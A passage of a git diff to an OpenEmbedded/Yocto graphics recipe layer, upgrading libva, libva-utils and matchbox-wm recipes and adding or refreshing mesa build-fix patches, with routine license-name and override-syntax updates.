-LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
-SRC_URI[sha256sum] = "adbb1244d278908f89ccfcf254a442de6d71934565a492cb6f03caf2ed4d1ec3"
-
-do_install_append () {
- rm -f ${D}${libdir}/*.so*
-}
diff --git a/meta/recipes-graphics/libva/libva-utils_2.20.1.bb b/meta/recipes-graphics/libva/libva-utils_2.20.1.bb
new file mode 100644
index 0000000000..3bce9a1e32
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva-utils_2.20.1.bb
@@ -0,0 +1,32 @@
+SUMMARY = "libva-utils is a collection of utilities from libva project"
+
+DESCRIPTION = "libva-utils is a collection of utilities \
+and examples to exercise VA-API in accordance with the libva \
+project.VA-API is an open-source library and API specification, \
+which provides access to graphics hardware acceleration capabilities \
+for video processing. It consists of a main library and driver-specific \
+acceleration backends for each supported hardware vendor"
+
+HOMEPAGE = "https://01.org/linuxmedia/vaapi"
+BUGTRACKER = "https://github.com/intel/libva-utils/issues"
+
+SECTION = "x11"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b148fc8adf19dc9aec17cf9cd29a9a5e"
+
+SRC_URI = "git://github.com/intel/libva-utils.git;branch=v2.20-branch;protocol=https"
+SRCREV = "2ad888bb463dc9bfb3deb512ec9faf78f1d3bfa8"
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
+
+DEPENDS = "libva"
+
+inherit meson pkgconfig features_check
+
+# depends on libva which requires opengl
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+PACKAGECONFIG[x11] = "-Dx11=true, -Dx11=false,virtual/libx11 libxext libxfixes"
+PACKAGECONFIG[wayland] = "-Dwayland=true, -Dwayland=false,wayland-native wayland"
diff --git a/meta/recipes-graphics/libva/libva-utils_2.8.0.bb b/meta/recipes-graphics/libva/libva-utils_2.8.0.bb
deleted file mode 100644
index fbc5a0583e..0000000000
--- a/meta/recipes-graphics/libva/libva-utils_2.8.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "libva-utils is a collection of utilities from libva project"
-
-DESCRIPTION = "libva-utils is a collection of utilities \
-and examples to exercise VA-API in accordance with the libva \
-project.VA-API is an open-source library and API specification, \
-which provides access to graphics hardware acceleration capabilities \
-for video processing. It consists of a main library and driver-specific \
-acceleration backends for each supported hardware vendor"
-
-HOMEPAGE = "https://01.org/linuxmedia/vaapi"
-BUGTRACKER = "https://github.com/intel/libva-utils/issues"
-
-SECTION = "x11"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b148fc8adf19dc9aec17cf9cd29a9a5e"
-
-SRC_URI = "git://github.com/intel/libva-utils.git;branch=v2.8-branch"
-SRCREV = "af101a46d24c3f71a12b9f1ddb0c63626b19b3d8"
-S = "${WORKDIR}/git"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
-
-DEPENDS = "libva"
-
-inherit meson pkgconfig features_check
-
-# depends on libva which requires opengl
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-PACKAGECONFIG[x11] = "-Dx11=true, -Dx11=false,virtual/libx11 libxext libxfixes"
-PACKAGECONFIG[wayland] = "-Dwayland=true, -Dwayland=false,wayland-native wayland"
diff --git a/meta/recipes-graphics/libva/libva.inc b/meta/recipes-graphics/libva/libva.inc
index e7bec80c14..486291bced 100644
--- a/meta/recipes-graphics/libva/libva.inc
+++ b/meta/recipes-graphics/libva/libva.inc
@@ -16,12 +16,22 @@ BUGTRACKER = "https://github.com/intel/libva/issues"
SECTION = "x11"
LICENSE = "MIT"
-SRC_URI = "https://github.com/intel/libva/releases/download/${PV}/libva-${PV}.tar.bz2"
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/libva-${PV}.tar.bz2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
+SRC_URI[sha256sum] = "f72bdb4f48dfe71ad01f1cbefe069672a2c949a6abd51cf3c4d4784210badc49"
S = "${WORKDIR}/libva-${PV}"
-UPSTREAM_CHECK_URI = "https://github.com/intel/libva/releases"
+GITHUB_BASE_URI = "https://github.com/intel/libva/releases"
DEPENDS = "libdrm"
-inherit meson pkgconfig
+inherit meson pkgconfig github-releases
+
+PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxext libxfixes"
+PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/mesa"
+
+PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/libva/libva_2.20.0.bb b/meta/recipes-graphics/libva/libva_2.20.0.bb
new file mode 100644
index 0000000000..63dc5af8f2
--- /dev/null
+++ b/meta/recipes-graphics/libva/libva_2.20.0.bb
@@ -0,0 +1,15 @@
+require libva.inc
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} \
+"
+
+PACKAGES =+ "${PN}-x11 ${PN}-glx ${PN}-wayland"
+
+RDEPENDS:${PN}-x11 =+ "${PN}"
+RDEPENDS:${PN}-glx =+ "${PN}-x11"
+
+FILES:${PN}-x11 =+ "${libdir}/libva-x11*${SOLIBS}"
+FILES:${PN}-glx =+ "${libdir}/libva-glx*${SOLIBS}"
+FILES:${PN}-wayland =+ "${libdir}/libva-wayland*${SOLIBS}"
diff --git a/meta/recipes-graphics/libva/libva_2.8.0.bb b/meta/recipes-graphics/libva/libva_2.8.0.bb
deleted file mode 100644
index 621ceea86c..0000000000
--- a/meta/recipes-graphics/libva/libva_2.8.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require libva.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=2e48940f94acb0af582e5ef03537800f"
-SRC_URI[sha256sum] = "adbb1244d278908f89ccfcf254a442de6d71934565a492cb6f03caf2ed4d1ec3"
-
-PACKAGECONFIG ??= " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'glx', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'x11 wayland', d)} \
-"
-
-PACKAGECONFIG[x11] = "-Dwith_x11=yes,-Dwith_x11=no,virtual/libx11 libxext libxfixes"
-PACKAGECONFIG[glx] = "-Dwith_glx=yes,-Dwith_glx=no,virtual/mesa"
-
-PACKAGECONFIG[wayland] = "-Dwith_wayland=yes,-Dwith_wayland=no,wayland-native wayland"
-
-PACKAGES =+ "${PN}-x11 ${PN}-glx ${PN}-wayland"
-
-RDEPENDS_${PN}-x11 =+ "${PN}"
-RDEPENDS_${PN}-glx =+ "${PN}-x11"
-
-FILES_${PN}-x11 =+ "${libdir}/libva-x11*${SOLIBS}"
-FILES_${PN}-glx =+ "${libdir}/libva-glx*${SOLIBS}"
-FILES_${PN}-wayland =+ "${libdir}/libva-wayland*${SOLIBS}"
diff --git a/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb b/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
index 57a3024ea9..d1f0a67d84 100644
--- a/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
+++ b/meta/recipes-graphics/matchbox-session/matchbox-session_0.1.bb
@@ -3,20 +3,19 @@ DESCRIPTION = "Very simple session manager for matchbox tools"
HOMEPAGE = "http://www.matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://matchbox-session;endline=20;md5=180f1c169a15d059a56c30094f6fb5ea"
SECTION = "x11"
-RCONFLICTS_${PN} = "matchbox-common"
+RCONFLICTS:${PN} = "matchbox-common"
SRC_URI = "file://matchbox-session"
S = "${WORKDIR}"
-PR = "r4"
inherit update-alternatives
-ALTERNATIVE_${PN} = "x-session-manager"
+ALTERNATIVE:${PN} = "x-session-manager"
ALTERNATIVE_TARGET[x-session-manager] = "${bindir}/matchbox-session"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch b/meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch
deleted file mode 100644
index 541b5c9c84..0000000000
--- a/meta/recipes-graphics/matchbox-wm/matchbox-wm/0001-Fix-build-with-gcc-10.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 8a8f8446e803cad04d7bbceaab78ee45d9778c3c Mon Sep 17 00:00:00 2001
-From: Adrian Bunk <bunk@stusta.de>
-Date: Tue, 12 May 2020 09:44:05 +0300
-Subject: Fix build with gcc 10
-
-Upstream-Status: Pending
-Signed-off-by: Adrian Bunk <bunk@stusta.de>
----
- src/mbtheme.h | 2 +-
- src/structs.h | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/mbtheme.h b/src/mbtheme.h
-index aa9a7c5..ad03bde 100644
---- a/src/mbtheme.h
-+++ b/src/mbtheme.h
-@@ -46,7 +46,7 @@ typedef struct _mb_theme_param
-
- } MBThemeParam;
-
--enum {
-+typedef enum {
- LAYER_GRADIENT_HORIZ = 1,
- LAYER_GRADIENT_VERT,
- LAYER_LABEL,
-diff --git a/src/structs.h b/src/structs.h
-index 24985e7..8f53e72 100644
---- a/src/structs.h
-+++ b/src/structs.h
-@@ -148,7 +148,7 @@
-
- /* Atoms, if you change these check ewmh_init() first */
-
--enum {
-+typedef enum {
- WM_STATE = 0,
- WM_CHANGE_STATE,
- WM_PROTOCOLS,
---
-2.17.1
-
diff --git a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
deleted file mode 100644
index a08eb252ce..0000000000
--- a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-SUMMARY = "Matchbox lightweight window manager"
-HOMEPAGE = "http://matchbox-project.org"
-BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://src/wm.h;endline=21;md5=a7e844465edbcf79c282369f93caa835 \
- file://src/main.c;endline=21;md5=3e5d9f832b527b0d72dbe8e3c4c60b95 \
- file://src/wm.c;endline=21;md5=8dc9d24477d87ef5dfbc2e4927146aab"
-
-SECTION = "x11/wm"
-DEPENDS = "libmatchbox virtual/libx11 libxext libxrender startup-notification expat gconf libxcursor libxfixes"
-
-# SRCREV tagged 1.2.2
-SRCREV = "27da947e7fbdf9659f7e5bd1e92af92af6c03970"
-SRC_URI = "git://git.yoctoproject.org/matchbox-window-manager \
- file://0001-Fix-build-with-gcc-10.patch \
- file://kbdconfig"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig features_check
-# depends on virtual/libx11
-REQUIRED_DISTRO_FEATURES = "x11"
-
-FILES_${PN} = "${bindir}/* \
- ${datadir}/matchbox \
- ${sysconfdir}/matchbox \
- ${datadir}/themes/blondie/matchbox \
- ${datadir}/themes/Default/matchbox \
- ${datadir}/themes/MBOpus/matchbox"
-
-EXTRA_OECONF = " --enable-startup-notification \
- --disable-xrm \
- --enable-expat \
- --with-expat-lib=${STAGING_LIBDIR} \
- --with-expat-includes=${STAGING_INCDIR}"
-
-do_install_prepend() {
- install ${WORKDIR}/kbdconfig ${S}/data/kbdconfig
-}
diff --git a/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.3.bb b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.3.bb
new file mode 100644
index 0000000000..880d4ed666
--- /dev/null
+++ b/meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.3.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Matchbox lightweight window manager"
+HOMEPAGE = "http://matchbox-project.org"
+BUGTRACKER = "http://bugzilla.yoctoproject.org/"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://src/wm.h;endline=21;md5=ce20617ac10f26045cc57b8d977ab552 \
+ file://src/main.c;endline=21;md5=508f280276140250ce483e0a44f7a9ec \
+ file://src/wm.c;endline=21;md5=f54584fb0d48cfc2e6876e0f0e272e6c"
+
+SECTION = "x11/wm"
+DEPENDS = "libmatchbox virtual/libx11 libxext libxrender startup-notification expat gconf libxcursor libxfixes"
+
+SRCREV = "ce8c1053270d960a7235ab5c3435f707541810a4"
+SRC_URI = "git://git.yoctoproject.org/matchbox-window-manager;branch=master;protocol=https \
+ file://kbdconfig"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig features_check
+# depends on virtual/libx11
+REQUIRED_DISTRO_FEATURES = "x11"
+
+FILES:${PN} = "${bindir}/* \
+ ${datadir}/matchbox \
+ ${sysconfdir}/matchbox \
+ ${datadir}/themes/blondie/matchbox \
+ ${datadir}/themes/Default/matchbox \
+ ${datadir}/themes/MBOpus/matchbox"
+
+EXTRA_OECONF = " --enable-startup-notification \
+ --disable-xrm \
+ --enable-expat \
+ --with-expat-lib=${STAGING_LIBDIR} \
+ --with-expat-includes=${STAGING_INCDIR}"
+
+do_install:prepend() {
+ install ${WORKDIR}/kbdconfig ${S}/data/kbdconfig
+}
diff --git a/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb b/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb
index fc4e0a4d84..8875a939e0 100644
--- a/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb
+++ b/meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "Library for caching application menus"
DESCRIPTION = "A library creating and utilizing caches to speed up freedesktop.org application menus"
HOMEPAGE = "http://lxde.sourceforge.net/"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0964c689fcf4c21c6797ea87408416b6"
SECTION = "x11/libs"
diff --git a/meta/recipes-graphics/mesa/files/0001-Revert-meson-do-not-pull-in-clc-for-clover.patch b/meta/recipes-graphics/mesa/files/0001-Revert-meson-do-not-pull-in-clc-for-clover.patch
new file mode 100644
index 0000000000..1711e22585
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-Revert-meson-do-not-pull-in-clc-for-clover.patch
@@ -0,0 +1,53 @@
+From 051f41beda540f0ae77b341db01a6de83c9e938a Mon Sep 17 00:00:00 2001
+From: Markus Volk <f_l_k@t-online.de>
+Date: Fri, 8 Mar 2024 15:53:11 +0100
+Subject: [PATCH] Revert "meson: do not pull in clc for clover"
+
+This reverts commit 815a6647eb1383e9dc704ffcc266d85f3b13338a.
+Upstream-Status: Inappropriate [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/27783/diffs?commit_id=a976f2c9f0c07f9e06cc9affd9124b45bc60c2bd]
+
+Once the merge request above was added, it will only be possible to provide opencl spir-v with gallium-rusticl=true. This is not yet supported in the mesa recipe.
+For now reverting this commit allows to still use clover with opencl-spirv, which would otherwise be broken starting from mesa 24.0.2.
+
+After it was merged, this patch needs to be removed and rusticl support will be required
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+---
+ meson.build | 3 ++-
+ src/compiler/meson.build | 2 +-
+ 2 files changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index 2db6185..741b5d1 100644
+--- a/meson.build
++++ b/meson.build
+@@ -813,6 +813,7 @@ if _opencl != 'disabled'
+ error('The Clover OpenCL state tracker requires rtti')
+ endif
+
++ with_clc = true
+ with_gallium_opencl = true
+ with_opencl_icd = _opencl == 'icd'
+ else
+@@ -837,7 +838,7 @@ if with_gallium_rusticl
+ endif
+
+ dep_clc = null_dep
+-if with_gallium_opencl or with_clc
++if with_clc
+ dep_clc = dependency('libclc')
+ endif
+
+diff --git a/src/compiler/meson.build b/src/compiler/meson.build
+index 8d73544..1dae56d 100644
+--- a/src/compiler/meson.build
++++ b/src/compiler/meson.build
+@@ -79,7 +79,7 @@ subdir('nir')
+
+ subdir('spirv')
+
+-if with_clc
++if with_opencl_spirv
+ subdir('clc')
+ endif
+ if with_gallium
diff --git a/meta/recipes-graphics/mesa/files/0001-drisw-fix-build-without-dri3.patch b/meta/recipes-graphics/mesa/files/0001-drisw-fix-build-without-dri3.patch
new file mode 100644
index 0000000000..ab16152090
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0001-drisw-fix-build-without-dri3.patch
@@ -0,0 +1,58 @@
+From 4bd15a419e892da843489c374c58c5b29c40b5d6 Mon Sep 17 00:00:00 2001
+From: Romain Naour <romain.naour@smile.fr>
+Date: Tue, 6 Feb 2024 09:47:09 +0100
+Subject: [PATCH 1/2] drisw: fix build without dri3
+
+commit 1887368df41 ("glx/sw: check for modifier support in the kopper path")
+added dri3_priv.h header and dri3_check_multibuffer() function in drisw that
+can be build without dri3.
+
+ i686-buildroot-linux-gnu/bin/ld: src/glx/libglx.a.p/drisw_glx.c.o: in function `driswCreateScreenDriver':
+ drisw_glx.c:(.text.driswCreateScreenDriver+0x3a0): undefined reference to `dri3_check_multibuffer'
+ collect2: error: ld returned 1 exit status
+
+Add HAVE_DRI3 guard around dri3_priv.h header and the zink code using
+dri3_check_multibuffer().
+
+Fixes: 1887368df41 ("glx/sw: check for modifier support in the kopper path")
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/27478]
+Signed-off-by: Romain Naour <romain.naour@smile.fr>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/glx/drisw_glx.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/glx/drisw_glx.c b/src/glx/drisw_glx.c
+index 3d3f752..4b19e2d 100644
+--- a/src/glx/drisw_glx.c
++++ b/src/glx/drisw_glx.c
+@@ -32,7 +32,9 @@
+ #include <dlfcn.h>
+ #include "dri_common.h"
+ #include "drisw_priv.h"
++#ifdef HAVE_DRI3
+ #include "dri3_priv.h"
++#endif
+ #include <X11/extensions/shmproto.h>
+ #include <assert.h>
+ #include <vulkan/vulkan_core.h>
+@@ -995,6 +997,7 @@ driswCreateScreenDriver(int screen, struct glx_display *priv,
+ goto handle_error;
+ }
+
++#ifdef HAVE_DRI3
+ if (pdpyp->zink) {
+ bool err;
+ psc->has_multibuffer = dri3_check_multibuffer(priv->dpy, &err);
+@@ -1005,6 +1008,7 @@ driswCreateScreenDriver(int screen, struct glx_display *priv,
+ goto handle_error;
+ }
+ }
++#endif
+
+ glx_config_destroy_list(psc->base.configs);
+ psc->base.configs = configs;
+--
+2.44.0
+
diff --git a/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch b/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch
index 15485feb71..baa98a0d46 100644
--- a/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch
+++ b/meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch
@@ -1,4 +1,4 @@
-From bb2f0bea553d51d659a9bc46f7ae186885405151 Mon Sep 17 00:00:00 2001
+From 02cc21800fe29f566add525e63f619c0536d6e7b Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 13 Jan 2020 15:23:47 -0800
Subject: [PATCH] meson misdetects 64bit atomics on mips/clang
@@ -10,7 +10,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/util/u_atomic.c b/src/util/u_atomic.c
-index e4bffa8..58e1ddd 100644
+index 5a5eab4..e499516 100644
--- a/src/util/u_atomic.c
+++ b/src/util/u_atomic.c
@@ -21,7 +21,7 @@
@@ -22,6 +22,3 @@ index e4bffa8..58e1ddd 100644
#include <stdint.h>
#include <pthread.h>
---
-2.24.1
-
diff --git a/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch b/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
index 085254323c..7be7d81eeb 100644
--- a/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
+++ b/meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch
@@ -1,4 +1,4 @@
-From 0d9ed002eff176b902da266d89829a9b0cb10946 Mon Sep 17 00:00:00 2001
+From e8ec6b1cc5e401ba719095722d8b317d755ae613 Mon Sep 17 00:00:00 2001
From: Alistair Francis <alistair@alistair23.me>
Date: Thu, 14 Nov 2019 13:04:49 -0800
Subject: [PATCH] meson.build: check for all linux host_os combinations
@@ -14,30 +14,29 @@ Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
Signed-off-by: Alistair Francis <alistair@alistair23.me>
-
---
meson.build | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/meson.build b/meson.build
-index 898d025..09e3759 100644
+index 133fd9a..817861e 100644
--- a/meson.build
+++ b/meson.build
-@@ -124,7 +124,7 @@ with_any_opengl = with_opengl or with_gles1 or with_gles2
+@@ -128,7 +128,7 @@ with_any_opengl = with_opengl or with_gles1 or with_gles2
# Only build shared_glapi if at least one OpenGL API is enabled
with_shared_glapi = with_shared_glapi and with_any_opengl
--system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'gnu/kfreebsd', 'dragonfly', 'linux', 'sunos'].contains(host_machine.system())
-+system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'dragonfly'].contains(host_machine.system()) or host_machine.system().startswith('linux')
+-system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'gnu/kfreebsd', 'dragonfly', 'linux', 'sunos', 'android', 'managarm'].contains(host_machine.system())
++system_has_kms_drm = ['openbsd', 'netbsd', 'freebsd', 'gnu/kfreebsd', 'dragonfly', 'linux', 'sunos', 'android', 'managarm'].contains(host_machine.system()) or host_machine.system().startswith('linux')
- dri_drivers = get_option('dri-drivers')
- if dri_drivers.contains('auto')
-@@ -884,7 +884,7 @@ if cc.compiles('__uint128_t foo(void) { return 0; }',
+ gallium_drivers = get_option('gallium-drivers')
+ if gallium_drivers.contains('auto')
+@@ -997,7 +997,7 @@ if cc.has_function('fmemopen')
endif
# TODO: this is very incomplete
--if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd'].contains(host_machine.system())
-+if ['cygwin', 'gnu', 'gnu/kfreebsd'].contains(host_machine.system()) or host_machine.system().startswith('linux')
+-if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd', 'haiku', 'android', 'managarm'].contains(host_machine.system())
++if ['linux', 'cygwin', 'gnu', 'freebsd', 'gnu/kfreebsd', 'haiku', 'android', 'managarm'].contains(host_machine.system()) or host_machine.system().startswith('linux')
pre_args += '-D_GNU_SOURCE'
elif host_machine.system() == 'sunos'
pre_args += '-D__EXTENSIONS__'
diff --git a/meta/recipes-graphics/mesa/files/0002-glxext-don-t-try-zink-if-not-enabled-in-mesa.patch b/meta/recipes-graphics/mesa/files/0002-glxext-don-t-try-zink-if-not-enabled-in-mesa.patch
new file mode 100644
index 0000000000..036a0b4945
--- /dev/null
+++ b/meta/recipes-graphics/mesa/files/0002-glxext-don-t-try-zink-if-not-enabled-in-mesa.patch
@@ -0,0 +1,42 @@
+From 62495ebb977866c52d5bed8499a547c49f0d9bc1 Mon Sep 17 00:00:00 2001
+From: Romain Naour <romain.naour@smile.fr>
+Date: Tue, 6 Feb 2024 09:47:10 +0100
+Subject: [PATCH 2/2] glxext: don't try zink if not enabled in mesa
+
+Commit 7d9ea77b459 ("glx: add automatic zink fallback loading between hw and sw drivers")
+added an automatic zink fallback even when the zink gallium is not
+enabled at build time.
+
+It leads to unexpected error log while loading drisw driver and
+zink is not installed on the rootfs:
+
+ MESA-LOADER: failed to open zink: /usr/lib/dri/zink_dri.so
+
+Fixes: 7d9ea77b459 ("glx: add automatic zink fallback loading between hw and sw drivers")
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/27478]
+Signed-off-by: Romain Naour <romain.naour@smile.fr>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/glx/glxext.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/glx/glxext.c b/src/glx/glxext.c
+index 05c825a..7a06aa9 100644
+--- a/src/glx/glxext.c
++++ b/src/glx/glxext.c
+@@ -908,9 +908,11 @@ __glXInitialize(Display * dpy)
+ #endif /* HAVE_DRI3 */
+ if (!debug_get_bool_option("LIBGL_DRI2_DISABLE", false))
+ dpyPriv->dri2Display = dri2CreateDisplay(dpy);
++#if defined(HAVE_ZINK)
+ if (!dpyPriv->dri3Display && !dpyPriv->dri2Display)
+ try_zink = !debug_get_bool_option("LIBGL_KOPPER_DISABLE", false) &&
+ !getenv("GALLIUM_DRIVER");
++#endif /* HAVE_ZINK */
+ }
+ #endif /* GLX_USE_DRM */
+ if (glx_direct)
+--
+2.44.0
+
diff --git a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch b/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
deleted file mode 100644
index ee171ad1c8..0000000000
--- a/meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 65857eaee12a21a631750ffcd9e64e0afbbc3af0 Mon Sep 17 00:00:00 2001
-From: Alistair Francis <alistair@alistair23.me>
-Date: Thu, 14 Nov 2019 13:08:31 -0800
-Subject: [PATCH] meson.build: make TLS ELF optional
-
-USE_ELF_TLS has replaced GLX_USE_TLS so this patch is the original "make
-TLS GLX optional again" patch updated to the latest mesa.
-
-Upstream-Status: Inappropriate [configuration]
-Signed-off-by: Alistair Francis <alistair@alistair23.me>
-
----
- meson.build | 2 +-
- meson_options.txt | 6 ++++++
- 2 files changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index c51dde9..c16f78f 100644
---- a/meson.build
-+++ b/meson.build
-@@ -392,7 +392,7 @@ if with_egl and not (with_platform_drm or with_platform_surfaceless or with_plat
- endif
-
- # Android uses emutls for versions <= P/28. For USE_ELF_TLS we need ELF TLS.
--if not ['windows', 'freebsd'].contains(host_machine.system()) and (not with_platform_android or get_option('platform-sdk-version') >= 29)
-+if not ['windows', 'freebsd'].contains(host_machine.system()) and (not with_platform_android or get_option('platform-sdk-version') >= 29) and get_option('elf-tls')
- pre_args += '-DUSE_ELF_TLS'
- endif
-
-diff --git a/meson_options.txt b/meson_options.txt
-index ab43150..d7b1555 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -355,6 +355,12 @@ option(
- value : true,
- description : 'Enable direct rendering in GLX and EGL for DRI',
- )
-+option(
-+ 'elf-tls',
-+ type : 'boolean',
-+ value : true,
-+ description : 'Enable TLS support in ELF',
-+)
- option(
- 'prefer-iris',
- type : 'boolean',
diff --git a/meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch b/meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch
deleted file mode 100644
index a0536c87ac..0000000000
--- a/meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 7eaa21a79ce6d6e92f6bf98c28b68e3fcb4d7874 Mon Sep 17 00:00:00 2001
-From: Fabio Berton <fabio.berton@ossystems.com.br>
-Date: Wed, 12 Jun 2019 14:18:31 -0300
-Subject: [PATCH] Allow enable DRI without DRI drivers
-
-Upstream-Status: Pending
-
-Signed-off-by: Andrei Gherzan <andrei@gherzan.ro>
-Signed-off-by: Fabio Berton <fabio.berton@ossystems.com.br>
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- meson.build | 2 +-
- meson_options.txt | 6 ++++++
- 2 files changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index a954118..62864c6 100644
---- a/meson.build
-+++ b/meson.build
-@@ -154,7 +154,7 @@ with_dri_r200 = dri_drivers.contains('r200')
- with_dri_nouveau = dri_drivers.contains('nouveau')
- with_dri_swrast = dri_drivers.contains('swrast')
-
--with_dri = dri_drivers.length() != 0 and dri_drivers != ['']
-+with_dri = get_option('dri') or (dri_drivers.length() != 0 and dri_drivers != [''])
-
- gallium_drivers = get_option('gallium-drivers')
- if gallium_drivers.contains('auto')
-diff --git a/meson_options.txt b/meson_options.txt
-index 637ff14..700c34c 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -35,6 +35,12 @@ option(
- choices : ['auto', 'true', 'false'],
- description : 'enable support for dri3'
- )
-+option(
-+ 'dri',
-+ type : 'boolean',
-+ value : false,
-+ description : 'enable support for dri'
-+)
- option(
- 'dri-drivers',
- type : 'array',
